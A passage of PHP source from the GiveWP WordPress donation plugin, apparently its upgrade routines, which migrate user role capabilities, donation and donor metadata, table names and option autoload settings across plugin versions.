'edit_others_pages', 'edit_others_posts', 'delete_others_pages', 'delete_others_posts', 'manage_categories', 'import', 'export', ], ]; foreach ( $add_caps as $role => $caps ) { foreach ( $caps as $cap ) { $wp_roles->add_cap( $role, $cap ); } } foreach ( $remove_caps as $role => $caps ) { foreach ( $caps as $cap ) { $wp_roles->remove_cap( $role, $cap ); } } } /** * Upgrade Routine - Clean up of User Roles for more flexibility. * * @since 1.8.17 */ function give_v1817_cleanup_user_roles() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); give_v1817_process_cleanup_user_roles(); $give_updates->percentage = 100; // Create Give plugin roles. $roles = new Give_Roles(); $roles->add_roles(); $roles->add_caps(); give_set_upgrade_complete( 'v1817_cleanup_user_roles' ); } /** * Automatic Upgrade for release 1.8.18. * * @since 1.8.18 */ function give_v1818_upgrades() { // Remove email_access_installed from give_settings. give_delete_option( 'email_access_installed' ); } /** * Upgrade Routine - Assigns Custom Amount to existing donation of type set donation. * * @since 1.8.18 */ function give_v1818_assign_custom_amount_set_donation() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donations = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_payment' ], 'posts_per_page' => 100, ] ); if ( $donations->have_posts() ) { $give_updates->set_percentage( $donations->found_posts, $give_updates->step * 100 ); while ( $donations->have_posts() ) { $donations->the_post(); $form = new Give_Donate_Form( give_get_meta( get_the_ID(), '_give_payment_form_id', true ) ); $donation_meta = give_get_payment_meta( get_the_ID() ); // Update Donation meta with price_id set as custom, only if it is: // 1. Donation Type = Set Donation. // 2. Donation Price Id is not set to custom. // 3. Form has not enabled custom price and donation amount assures that it is custom amount. if ( $form->ID && $form->is_set_type_donation_form() && ( 'custom' !== $donation_meta['price_id'] ) && $form->is_custom_price( give_get_meta( get_the_ID(), '_give_payment_total', true ) ) ) { $donation_meta['price_id'] = 'custom'; give_update_meta( get_the_ID(), '_give_payment_meta', $donation_meta ); give_update_meta( get_the_ID(), '_give_payment_price_id', 'custom' ); } } wp_reset_postdata(); } else { // Update Ran Successfully. give_set_upgrade_complete( 'v1818_assign_custom_amount_set_donation' ); } } /** * Upgrade Routine - Removed Give Worker caps. * * See: https://github.com/impress-org/give/issues/2476 * * @since 1.8.18 */ function give_v1818_give_worker_role_cleanup() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); global $wp_roles; if ( ! ( $wp_roles instanceof WP_Roles ) ) { return; } // Remove Capabilities to user roles as required. $remove_caps = [ 'give_worker' => [ 'delete_give_payments', 'delete_others_give_payments', 'delete_private_give_payments', 'delete_published_give_payments', 'edit_others_give_payments', 'edit_private_give_payments', 'edit_published_give_payments', 'read_private_give_payments', ], ]; foreach ( $remove_caps as $role => $caps ) { foreach ( $caps as $cap ) { $wp_roles->remove_cap( $role, $cap ); } } $give_updates->percentage = 100; // Create Give plugin roles. $roles = new Give_Roles(); $roles->add_roles(); $roles->add_caps(); give_set_upgrade_complete( 'v1818_give_worker_role_cleanup' ); } /** * * Upgrade form metadata for new metabox settings. * * @since 2.0 * @return void */ function give_v20_upgrades_form_metadata_callback() { $give_updates = Give_Updates::get_instance(); // form query $forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_forms', 'posts_per_page' => 100, ] ); if ( $forms->have_posts() ) { $give_updates->set_percentage( $forms->found_posts, ( $give_updates->step * 100 ) ); while ( $forms->have_posts() ) { $forms->the_post(); global $post; // Update offline instruction email notification status. $offline_instruction_notification_status = get_post_meta( get_the_ID(), '_give_customize_offline_donations', true ); $offline_instruction_notification_status = give_is_setting_enabled( $offline_instruction_notification_status, [ 'enabled', 'global', ] ) ? $offline_instruction_notification_status : 'global'; update_post_meta( get_the_ID(), '_give_offline-donation-instruction_notification', $offline_instruction_notification_status ); // Update offline instruction email message. update_post_meta( get_the_ID(), '_give_offline-donation-instruction_email_message', get_post_meta( get_the_ID(), // @todo: Delete this option later ( version > 2.0 ). '_give_offline_donation_email', true ) ); // Update offline instruction email subject. update_post_meta( get_the_ID(), '_give_offline-donation-instruction_email_subject', get_post_meta( get_the_ID(), // @todo: Delete this option later ( version > 2.0 ). '_give_offline_donation_subject', true ) ); }// End while(). wp_reset_postdata(); } else { // No more forms found, finish up. give_set_upgrade_complete( 'v20_upgrades_form_metadata' ); } } /** * Upgrade payment metadata for new metabox settings. * * @since 2.0 * @return void * @global wpdb $wpdb */ function give_v20_upgrades_payment_metadata_callback() { global $wpdb; $give_updates = Give_Updates::get_instance(); // form query $forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_payment', 'posts_per_page' => 100, ] ); if ( $forms->have_posts() ) { $give_updates->set_percentage( $forms->found_posts, ( $give_updates->step * 100 ) ); while ( $forms->have_posts() ) { $forms->the_post(); global $post; // Split _give_payment_meta meta. // @todo Remove _give_payment_meta after releases 2.0 $payment_meta = give_get_meta( $post->ID, '_give_payment_meta', true ); if ( ! empty( $payment_meta ) ) { _give_20_bc_split_and_save_give_payment_meta( $post->ID, $payment_meta ); } $deprecated_meta_keys = [ '_give_payment_customer_id' => '_give_payment_donor_id', '_give_payment_user_email' => '_give_payment_donor_email', '_give_payment_user_ip' => '_give_payment_donor_ip', ]; foreach ( $deprecated_meta_keys as $old_meta_key => $new_meta_key ) { // Do not add new meta key if already exist. if ( $wpdb->get_var( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id=%d AND meta_key=%s", $post->ID, $new_meta_key ) ) ) { continue; } $wpdb->insert( $wpdb->postmeta, [ 'post_id' => $post->ID, 'meta_key' => $new_meta_key, 'meta_value' => give_get_meta( $post->ID, $old_meta_key, true ), ] ); } // Bailout if ( $donor_id = give_get_meta( $post->ID, '_give_payment_donor_id', true ) ) { /* @var Give_Donor $donor */ $donor = new Give_Donor( $donor_id ); $address['line1'] = give_get_meta( $post->ID, '_give_donor_billing_address1', true, '' ); $address['line2'] = give_get_meta( $post->ID, '_give_donor_billing_address2', true, '' ); $address['city'] = give_get_meta( $post->ID, '_give_donor_billing_city', true, '' ); $address['state'] = give_get_meta( $post->ID, '_give_donor_billing_state', true, '' ); $address['zip'] = give_get_meta( $post->ID, '_give_donor_billing_zip', true, '' ); $address['country'] = give_get_meta( $post->ID, '_give_donor_billing_country', true, '' ); // Save address. $donor->add_address( 'billing[]', $address ); } }// End while(). wp_reset_postdata(); } else { // @todo Delete user id meta after releases 2.0 // $wpdb->get_var( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key=%s", '_give_payment_user_id' ) ); // No more forms found, finish up. give_set_upgrade_complete( 'v20_upgrades_payment_metadata' ); } } /** * Move payment and form metadata to new table * * @since 2.0 * @return void */ function give_v20_move_metadata_into_new_table_callback() { global $wpdb; $give_updates = Give_Updates::get_instance(); // form query $payments = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_forms', 'give_payment' ], 'posts_per_page' => 100, ] ); if ( $payments->have_posts() ) { $give_updates->set_percentage( $payments->found_posts, $give_updates->step * 100 ); while ( $payments->have_posts() ) { $payments->the_post(); global $post; $meta_data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta where post_id=%d", get_the_ID() ), ARRAY_A ); if ( ! empty( $meta_data ) ) { foreach ( $meta_data as $index => $data ) { // Check for duplicate meta values. if ( $result = $wpdb->get_results( $wpdb->prepare( 'SELECT * FROM ' . ( 'give_forms' === $post->post_type ? $wpdb->formmeta : $wpdb->paymentmeta ) . ' WHERE meta_id=%d', $data['meta_id'] ), ARRAY_A ) ) { continue; } switch ( $post->post_type ) { case 'give_forms': $data['form_id'] = $data['post_id']; unset( $data['post_id'] ); Give()->form_meta->insert( $data ); // @todo: delete form meta from post meta table after releases 2.0. /*delete_post_meta( get_the_ID(), $data['meta_key'] );*/ break; case 'give_payment': $data['payment_id'] = $data['post_id']; unset( $data['post_id'] ); Give()->payment_meta->insert( $data ); // @todo: delete donation meta from post meta table after releases 2.0. /*delete_post_meta( get_the_ID(), $data['meta_key'] );*/ break; } } } }// End while(). wp_reset_postdata(); } else { // No more forms found, finish up. give_set_upgrade_complete( 'v20_move_metadata_into_new_table' ); } } /** * Upgrade routine for splitting donor name into first name and last name. * * @since 2.0 * * @return void */ function give_v20_upgrades_donor_name() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donors = Give()->donors->get_donors( [ 'paged' => $give_updates->step, 'number' => 100, ] ); if ( $donors ) { $give_updates->set_percentage( count( $donors ), $give_updates->step * 100 ); // Loop through Donors foreach ( $donors as $donor ) { $donor_name = explode( ' ', $donor->name, 2 ); $donor_first_name = Give()->donor_meta->get_meta( $donor->id, '_give_donor_first_name' ); $donor_last_name = Give()->donor_meta->get_meta( $donor->id, '_give_donor_last_name' ); // If first name meta of donor is not created, then create it. if ( ! $donor_first_name && isset( $donor_name[0] ) ) { Give()->donor_meta->add_meta( $donor->id, '_give_donor_first_name', $donor_name[0] ); } // If last name meta of donor is not created, then create it. if ( ! $donor_last_name && isset( $donor_name[1] ) ) { Give()->donor_meta->add_meta( $donor->id, '_give_donor_last_name', $donor_name[1] ); } // If Donor is connected with WP User then update user meta. if ( $donor->user_id ) { if ( isset( $donor_name[0] ) ) { update_user_meta( $donor->user_id, 'first_name', $donor_name[0] ); } if ( isset( $donor_name[1] ) ) { update_user_meta( $donor->user_id, 'last_name', $donor_name[1] ); } } } } else { // The Update Ran. give_set_upgrade_complete( 'v20_upgrades_donor_name' ); } } /** * Upgrade routine for user addresses. * * @since 2.0 * @return void * @global wpdb $wpdb * */ function give_v20_upgrades_user_address() { global $wpdb; /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); /* @var WP_User_Query $user_query */ $user_query = new WP_User_Query( [ 'number' => 100, 'paged' => $give_updates->step, ] ); $users = $user_query->get_results(); if ( $users ) { $give_updates->set_percentage( $user_query->get_total(), $give_updates->step * 100 ); // Loop through Donors foreach ( $users as $user ) { /* @var Give_Donor $donor */ $donor = new Give_Donor( $user->ID, true ); if ( ! $donor->id ) { continue; } $address = $wpdb->get_var( $wpdb->prepare( " SELECT meta_value FROM {$wpdb->usermeta} WHERE user_id=%s AND meta_key=%s ", $user->ID, '_give_user_address' ) ); if ( ! empty( $address ) ) { $address = maybe_unserialize( $address ); $donor->add_address( 'personal', $address ); $donor->add_address( 'billing[]', $address ); // @todo: delete _give_user_address from user meta after releases 2.0. /*delete_user_meta( $user->ID, '_give_user_address' );*/ } } } else { // The Update Ran. give_set_upgrade_complete( 'v20_upgrades_user_address' ); } } /** * Upgrade logs data. * * @since 2.0 * @return void * @global wpdb $wpdb */ function give_v20_rename_donor_tables_callback() { global $wpdb; /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $tables = [ "{$wpdb->prefix}give_customers" => "{$wpdb->prefix}give_donors", "{$wpdb->prefix}give_customermeta" => "{$wpdb->prefix}give_donormeta", ]; // Alter customer table foreach ( $tables as $old_table => $new_table ) { if ( $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', $old_table ) ) && ! $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', $new_table ) ) ) { $wpdb->query( "ALTER TABLE {$old_table} RENAME TO {$new_table}" ); if ( "{$wpdb->prefix}give_donormeta" === $new_table ) { $wpdb->query( "ALTER TABLE {$new_table} CHANGE COLUMN customer_id donor_id bigint(20)" ); } } } $give_updates->percentage = 100; // No more forms found, finish up. give_set_upgrade_complete( 'v20_rename_donor_tables' ); // Re initiate donor classes. Give()->donors = new Give_DB_Donors(); Give()->donor_meta = new Give_DB_Donor_Meta(); } /** * Create missing meta tables. * * @since 2.0.1 * @return void * @global wpdb $wpdb */ function give_v201_create_tables() { global $wpdb; if ( ! $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', "{$wpdb->prefix}give_paymentmeta" ) ) ) { Give()->payment_meta->create_table(); } if ( ! $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', "{$wpdb->prefix}give_formmeta" ) ) ) { Give()->form_meta->create_table(); } } /** * Upgrade payment metadata for new metabox settings. * * @since 2.0.1 * @return void * @global wpdb $wpdb */ function give_v201_upgrades_payment_metadata_callback() { global $wpdb, $post; $give_updates = Give_Updates::get_instance(); give_v201_create_tables(); $payments = $wpdb->get_col( " SELECT ID FROM $wpdb->posts WHERE 1=1 AND ( $wpdb->posts.post_date >= '2018-01-08 00:00:00' ) AND $wpdb->posts.post_type = 'give_payment' AND {$wpdb->posts}.post_status IN ('" . implode( "','", array_keys( give_get_payment_statuses() ) ) . "') ORDER BY $wpdb->posts.post_date ASC LIMIT 100 OFFSET " . $give_updates->get_offset( 100 ) ); if ( ! empty( $payments ) ) { $give_updates->set_percentage( give_get_total_post_type_count( 'give_payment' ), ( $give_updates->step * 100 ) ); foreach ( $payments as $payment_id ) { $post = get_post( $payment_id ); setup_postdata( $post ); // Do not add new meta keys if already refactored. if ( $wpdb->get_var( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id=%d AND meta_key=%s", $post->ID, '_give_payment_donor_id' ) ) ) { continue; } // Split _give_payment_meta meta. // @todo Remove _give_payment_meta after releases 2.0 $payment_meta = give_get_meta( $post->ID, '_give_payment_meta', true ); if ( ! empty( $payment_meta ) ) { _give_20_bc_split_and_save_give_payment_meta( $post->ID, $payment_meta ); } $deprecated_meta_keys = [ '_give_payment_customer_id' => '_give_payment_donor_id', '_give_payment_user_email' => '_give_payment_donor_email', '_give_payment_user_ip' => '_give_payment_donor_ip', ]; foreach ( $deprecated_meta_keys as $old_meta_key => $new_meta_key ) { // Do not add new meta key if already exist. if ( $wpdb->get_var( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id=%d AND meta_key=%s", $post->ID, $new_meta_key ) ) ) { continue; } $wpdb->insert( $wpdb->postmeta, [ 'post_id' => $post->ID, 'meta_key' => $new_meta_key, 'meta_value' => give_get_meta( $post->ID, $old_meta_key, true ), ] ); } // Bailout if ( $donor_id = give_get_meta( $post->ID, '_give_payment_donor_id', true ) ) { /* @var Give_Donor $donor */ $donor = new Give_Donor( $donor_id ); $address['line1'] = give_get_meta( $post->ID, '_give_donor_billing_address1', true, '' ); $address['line2'] = give_get_meta( $post->ID, '_give_donor_billing_address2', true, '' ); $address['city'] = give_get_meta( $post->ID, '_give_donor_billing_city', true, '' ); $address['state'] = give_get_meta( $post->ID, '_give_donor_billing_state', true, '' ); $address['zip'] = give_get_meta( $post->ID, '_give_donor_billing_zip', true, '' ); $address['country'] = give_get_meta( $post->ID, '_give_donor_billing_country', true, '' ); // Save address. $donor->add_address( 'billing[]', $address ); } }// End while(). wp_reset_postdata(); } else { // @todo Delete user id meta after releases 2.0 // $wpdb->get_var( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key=%s", '_give_payment_user_id' ) ); // No more forms found, finish up. give_set_upgrade_complete( 'v201_upgrades_payment_metadata' ); } } /** * Move payment and form metadata to new table * * @since 2.0.1 * @return void */ function give_v201_move_metadata_into_new_table_callback() { global $wpdb, $post; $give_updates = Give_Updates::get_instance(); give_v201_create_tables(); $payments = $wpdb->get_col( " SELECT ID FROM $wpdb->posts WHERE 1=1 AND ( $wpdb->posts.post_type = 'give_payment' OR $wpdb->posts.post_type = 'give_forms' ) AND {$wpdb->posts}.post_status IN ('" . implode( "','", array_keys( give_get_payment_statuses() ) ) . "') ORDER BY $wpdb->posts.post_date ASC LIMIT 100 OFFSET " . $give_updates->get_offset( 100 ) ); if ( ! empty( $payments ) ) { $give_updates->set_percentage( give_get_total_post_type_count( [ 'give_forms', 'give_payment', ] ), $give_updates->step * 100 ); foreach ( $payments as $payment_id ) { $post = get_post( $payment_id ); setup_postdata( $post ); $meta_data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta where post_id=%d", get_the_ID() ), ARRAY_A ); if ( ! empty( $meta_data ) ) { foreach ( $meta_data as $index => $data ) { // Check for duplicate meta values. if ( $result = $wpdb->get_results( $wpdb->prepare( 'SELECT * FROM ' . ( 'give_forms' === $post->post_type ? $wpdb->formmeta : $wpdb->paymentmeta ) . ' WHERE meta_id=%d', $data['meta_id'] ), ARRAY_A ) ) { continue; } switch ( $post->post_type ) { case 'give_forms': $data['form_id'] = $data['post_id']; unset( $data['post_id'] ); Give()->form_meta->insert( $data ); // @todo: delete form meta from post meta table after releases 2.0. /*delete_post_meta( get_the_ID(), $data['meta_key'] );*/ break; case 'give_payment': $data['payment_id'] = $data['post_id']; unset( $data['post_id'] ); Give()->payment_meta->insert( $data ); // @todo: delete donation meta from post meta table after releases 2.0. /*delete_post_meta( get_the_ID(), $data['meta_key'] );*/ break; } } } }// End while(). wp_reset_postdata(); } else { // No more forms found, finish up. give_set_upgrade_complete( 'v201_move_metadata_into_new_table' ); } } /** * Add missing donor. * * @since 2.0.1 * @return void */ function give_v201_add_missing_donors_callback() { global $wpdb; give_v201_create_tables(); $give_updates = Give_Updates::get_instance(); // Bailout. if ( ! $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', "{$wpdb->prefix}give_customers" ) ) ) { Give_Updates::get_instance()->percentage = 100; give_set_upgrade_complete( 'v201_add_missing_donors' ); } $total_customers = $wpdb->get_var( "SELECT COUNT(id) FROM {$wpdb->prefix}give_customers " ); $customers = wp_list_pluck( $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}give_customers LIMIT 20 OFFSET " . $give_updates->get_offset( 20 ) ), 'id' ); $donors = wp_list_pluck( $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}give_donors" ), 'id' ); if ( ! empty( $customers ) ) { $give_updates->set_percentage( $total_customers, ( $give_updates->step * 20 ) ); $missing_donors = array_diff( $customers, $donors ); $donor_data = []; if ( $missing_donors ) { foreach ( $missing_donors as $donor_id ) { $donor_data[] = [ 'info' => $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}give_customers WHERE id=%d", $donor_id ) ), 'meta' => $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}give_customermeta WHERE customer_id=%d", $donor_id ) ), ]; } } if ( ! empty( $donor_data ) ) { $donor_table_name = Give()->donors->table_name; $donor_meta_table_name = Give()->donor_meta->table_name; Give()->donors->table_name = "{$wpdb->prefix}give_donors"; Give()->donor_meta->table_name = "{$wpdb->prefix}give_donormeta"; foreach ( $donor_data as $donor ) { $donor['info'][0] = (array) $donor['info'][0]; // Prevent duplicate meta id issue. if ( $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}give_donors WHERE id=%d", $donor['info'][0]['id'] ) ) ) { continue; } $donor_id = Give()->donors->add( $donor['info'][0] ); if ( ! empty( $donor['meta'] ) ) { foreach ( $donor['meta'] as $donor_meta ) { $donor_meta = (array) $donor_meta; // Prevent duplicate meta id issue. if ( $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}give_donormeta WHERE meta_id=%d", $donor_meta['meta_id'] ) ) ) { unset( $donor_meta['meta_id'] ); } $donor_meta['donor_id'] = $donor_meta['customer_id']; unset( $donor_meta['customer_id'] ); Give()->donor_meta->insert( $donor_meta ); } } /** * Fix donor name and address */ $address = $wpdb->get_var( $wpdb->prepare( " SELECT meta_value FROM {$wpdb->usermeta} WHERE user_id=%s AND meta_key=%s ", $donor['info'][0]['user_id'], '_give_user_address' ) ); $donor = new Give_Donor( $donor_id ); if ( ! empty( $address ) ) { $address = maybe_unserialize( $address ); $donor->add_address( 'personal', $address ); $donor->add_address( 'billing[]', $address ); } $donor_name = explode( ' ', $donor->name, 2 ); $donor_first_name = Give()->donor_meta->get_meta( $donor->id, '_give_donor_first_name' ); $donor_last_name = Give()->donor_meta->get_meta( $donor->id, '_give_donor_last_name' ); // If first name meta of donor is not created, then create it. if ( ! $donor_first_name && isset( $donor_name[0] ) ) { Give()->donor_meta->add_meta( $donor->id, '_give_donor_first_name', $donor_name[0] ); } // If last name meta of donor is not created, then create it. if ( ! $donor_last_name && isset( $donor_name[1] ) ) { Give()->donor_meta->add_meta( $donor->id, '_give_donor_last_name', $donor_name[1] ); } // If Donor is connected with WP User then update user meta. if ( $donor->user_id ) { if ( isset( $donor_name[0] ) ) { update_user_meta( $donor->user_id, 'first_name', $donor_name[0] ); } if ( isset( $donor_name[1] ) ) { update_user_meta( $donor->user_id, 'last_name', $donor_name[1] ); } } } Give()->donors->table_name = $donor_table_name; Give()->donor_meta->table_name = $donor_meta_table_name; } } else { give_set_upgrade_complete( 'v201_add_missing_donors' ); } } /** * Version 2.0.3 automatic updates * * @since 2.0.3 */ function give_v203_upgrades() { global $wpdb; // Do not auto load option. $wpdb->update( $wpdb->options, [ 'autoload' => 'no' ], [ 'option_name' => 'give_completed_upgrades' ] ); // Remove from cache. $all_options = wp_load_alloptions(); if ( isset( $all_options['give_completed_upgrades'] ) ) { unset( $all_options['give_completed_upgrades'] ); wp_cache_set( 'alloptions', $all_options, 'options' ); } } /** * Version 2.2.0 automatic updates * * @since 2.2.0 */ function give_v220_upgrades() { global $wpdb; /** * Update 1 * * Delete wp session data */ give_v220_delete_wp_session_data(); /** * Update 2 * * Rename payment table */ give_v220_rename_donation_meta_type_callback(); /** * Update 2 * * Set autoload to no to reduce result weight from WordPress query */ $options = [ 'give_settings', 'give_version', 'give_version_upgraded_from', 'give_default_api_version', 'give_site_address_before_migrate', '_give_table_check', 'give_recently_activated_addons', 'give_is_addon_activated', 'give_last_paypal_ipn_received', 'give_use_php_sessions', 'give_subscriptions', '_give_subscriptions_edit_last', ]; // Add all table version option name // Add banner option *_active_by_user $option_like = $wpdb->get_col( " SELECT option_name FROM $wpdb->options WHERE option_name like '%give%' AND ( option_name like '%_db_version%' OR option_name like '%_active_by_user%' OR option_name like '%_license_active%' ) " ); if ( ! empty( $option_like ) ) { $options = array_merge( $options, $option_like ); } $options_str = '\'' . implode( "','", $options ) . '\''; $wpdb->query( " UPDATE $wpdb->options SET autoload = 'no' WHERE option_name IN ( {$options_str} ) " ); } /** * Version 2.2.1 automatic updates * * @since 2.2.1 */ function give_v221_upgrades() { global $wpdb; /** * Update 1 * * Change column length */ $wpdb->query( "ALTER TABLE $wpdb->donors MODIFY email varchar(255) NOT NULL" ); } /** * Version 2.3.0 automatic updates * * @since 2.3.0 */ function give_v230_upgrades() { $options_key = [ 'give_temp_delete_form_ids', // delete import donor 'give_temp_delete_donation_ids', // delete import donor 'give_temp_delete_step', // delete import donor 'give_temp_delete_donor_ids', // delete import donor 'give_temp_delete_step_on', // delete import donor 'give_temp_delete_donation_ids', // delete test donor 'give_temp_delete_donor_ids', // delete test donor 'give_temp_delete_step', // delete test donor 'give_temp_delete_step_on', // delete test donor 'give_temp_delete_test_ids', // delete test donations 'give_temp_all_payments_data', // delete all stats 'give_recount_all_total', // delete all stats 'give_temp_recount_all_stats', // delete all stats 'give_temp_payment_items', // delete all stats 'give_temp_form_ids', // delete all stats 'give_temp_processed_payments', // delete all stats 'give_temp_recount_form_stats', // delete form stats 'give_temp_recount_earnings', // recount income 'give_recount_earnings_total', // recount income 'give_temp_reset_ids', // reset stats ]; $options_key = '\'' . implode( "','", $options_key ) . '\''; global $wpdb; /** * Update 1 * * delete unwanted key from option table */ $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name IN ( {$options_key} )" ); } /** * Upgrade routine for 2.1 to set form closed status for all the donation forms. * * @since 2.1 */ function give_v210_verify_form_status_upgrades_callback() { $give_updates = Give_Updates::get_instance(); // form query. $donation_forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_forms', 'posts_per_page' => 20, ] ); if ( $donation_forms->have_posts() ) { $give_updates->set_percentage( $donation_forms->found_posts, ( $give_updates->step * 20 ) ); while ( $donation_forms->have_posts() ) { $donation_forms->the_post(); $form_id = get_the_ID(); $form_closed_status = give_get_meta( $form_id, '_give_form_status', true ); if ( empty( $form_closed_status ) ) { give_set_form_closed_status( $form_id ); } } /* Restore original Post Data */ wp_reset_postdata(); } else { // The Update Ran. give_set_upgrade_complete( 'v210_verify_form_status_upgrades' ); } } /** * Upgrade routine for 2.1.3 to delete meta which is not attach to any donation. * * @since 2.1 */ function give_v213_delete_donation_meta_callback() { global $wpdb; $give_updates = Give_Updates::get_instance(); $donation_meta_table = Give()->payment_meta->table_name; $donations = $wpdb->get_col( " SELECT DISTINCT payment_id FROM {$donation_meta_table} LIMIT 20 OFFSET {$give_updates->get_offset( 20 )} " ); if ( ! empty( $donations ) ) { foreach ( $donations as $donation ) { $donation_obj = get_post( $donation ); if ( ! $donation_obj instanceof WP_Post ) { Give()->payment_meta->delete_all_meta( $donation ); } } } else { // The Update Ran. give_set_upgrade_complete( 'v213_delete_donation_meta' ); } } /** * Rename donation meta type * * @see https://github.com/restrictcontentpro/restrict-content-pro/issues/1656 * * @since 2.2.0 */ function give_v220_rename_donation_meta_type_callback() { global $wpdb; // Check upgrade before running. if ( give_has_upgrade_completed( 'v220_rename_donation_meta_type' ) || ! $wpdb->query( $wpdb->prepare( 'SHOW TABLES LIKE %s', "{$wpdb->prefix}give_paymentmeta" ) ) ) { // Complete update if skip somehow give_set_upgrade_complete( 'v220_rename_donation_meta_type' ); return; } $wpdb->query( "ALTER TABLE {$wpdb->prefix}give_paymentmeta CHANGE COLUMN payment_id donation_id bigint(20)" ); $wpdb->query( "ALTER TABLE {$wpdb->prefix}give_paymentmeta RENAME TO {$wpdb->prefix}give_donationmeta" ); give_set_upgrade_complete( 'v220_rename_donation_meta_type' ); } /** * Adds 'view_give_payments' capability to 'give_manager' user role. * * @since 2.1.5 */ function give_v215_update_donor_user_roles_callback() { $role = get_role( 'give_manager' ); $role->add_cap( 'view_give_payments' ); give_set_upgrade_complete( 'v215_update_donor_user_roles' ); } /** * Remove all wp session data from the options table, regardless of expiration. * * @since 2.2.0 * * @global wpdb $wpdb */ function give_v220_delete_wp_session_data() { global $wpdb; $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE '_wp_session_%'" ); } /** * Update donor meta * Set "_give_anonymous_donor" meta key to "0" if not exist * * @since 2.2.4 */ function give_v224_update_donor_meta_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donor_count = Give()->donors->count( [ 'number' => - 1, ] ); $donors = Give()->donors->get_donors( [ 'paged' => $give_updates->step, 'number' => 100, ] ); if ( $donors ) { $give_updates->set_percentage( $donor_count, $give_updates->step * 100 ); // Loop through Donors foreach ( $donors as $donor ) { $anonymous_metadata = Give()->donor_meta->get_meta( $donor->id, '_give_anonymous_donor', true ); // If first name meta of donor is not created, then create it. if ( ! in_array( $anonymous_metadata, [ '0', '1' ] ) ) { Give()->donor_meta->add_meta( $donor->id, '_give_anonymous_donor', '0' ); } } } else { // The Update Ran. give_set_upgrade_complete( 'v224_update_donor_meta' ); } } /** Update donor meta * Set "_give_anonymous_donor_forms" meta key if not exist * * @since 2.2.4 */ function give_v224_update_donor_meta_forms_id_callback() { $give_updates = Give_Updates::get_instance(); $donations = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_payment' ], 'posts_per_page' => 20, ] ); if ( $donations->have_posts() ) { $give_updates->set_percentage( $donations->found_posts, $give_updates->step * 20 ); while ( $donations->have_posts() ) { $donations->the_post(); $donation_id = get_the_ID(); $form_id = give_get_payment_form_id( $donation_id ); $donor_id = give_get_payment_donor_id( $donation_id ); $is_donated_as_anonymous = give_is_anonymous_donation( $donation_id ); $is_anonymous_donor = Give()->donor_meta->get_meta( $donor_id, "_give_anonymous_donor_form_{$form_id}", true ); $is_edit_donor_meta = ! in_array( $is_anonymous_donor, [ '0', '1' ] ) ? true : ( 0 !== absint( $is_anonymous_donor ) ); if ( $is_edit_donor_meta ) { Give()->donor_meta->update_meta( $donor_id, "_give_anonymous_donor_form_{$form_id}", absint( $is_donated_as_anonymous ) ); } } wp_reset_postdata(); } else { give_set_upgrade_complete( 'v224_update_donor_meta_forms_id' ); } } /** * Add custom comment table * * @since 2.4.0 */ function give_v230_add_missing_comment_tables() { $custom_tables = [ Give()->comment->db, Give()->comment->db_meta, ]; /* @var Give_DB $table */ foreach ( $custom_tables as $table ) { if ( ! $table->installed() ) { $table->register_table(); } } } /** * Move donor notes to comment table * * @since 2.3.0 */ function give_v230_move_donor_note_callback() { // Add comment table if missing. give_v230_add_missing_comment_tables(); /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donor_count = Give()->donors->count( [ 'number' => - 1, ] ); $donors = Give()->donors->get_donors( [ 'paged' => $give_updates->step, 'number' => 100, ] ); if ( $donors ) { $give_updates->set_percentage( $donor_count, $give_updates->step * 100 ); // Loop through Donors foreach ( $donors as $donor ) { $notes = trim( Give()->donors->get_column( 'notes', $donor->id ) ); // If first name meta of donor is not created, then create it. if ( ! empty( $notes ) ) { $notes = array_values( array_filter( array_map( 'trim', explode( "\n", $notes ) ), 'strlen' ) ); foreach ( $notes as $note ) { $note = array_map( 'trim', explode( '-', $note ) ); $timestamp = strtotime( $note[0] ); Give()->comment->db->add( [ 'comment_content' => $note[1], 'user_id' => absint( Give()->donors->get_column_by( 'user_id', 'id', $donor->id ) ), 'comment_date' => date( 'Y-m-d H:i:s', $timestamp ), 'comment_date_gmt' => get_gmt_from_date( date( 'Y-m-d H:i:s', $timestamp ) ), 'comment_parent' => $donor->id, 'comment_type' => 'donor', ] ); } } } } else { // The Update Ran. give_set_upgrade_complete( 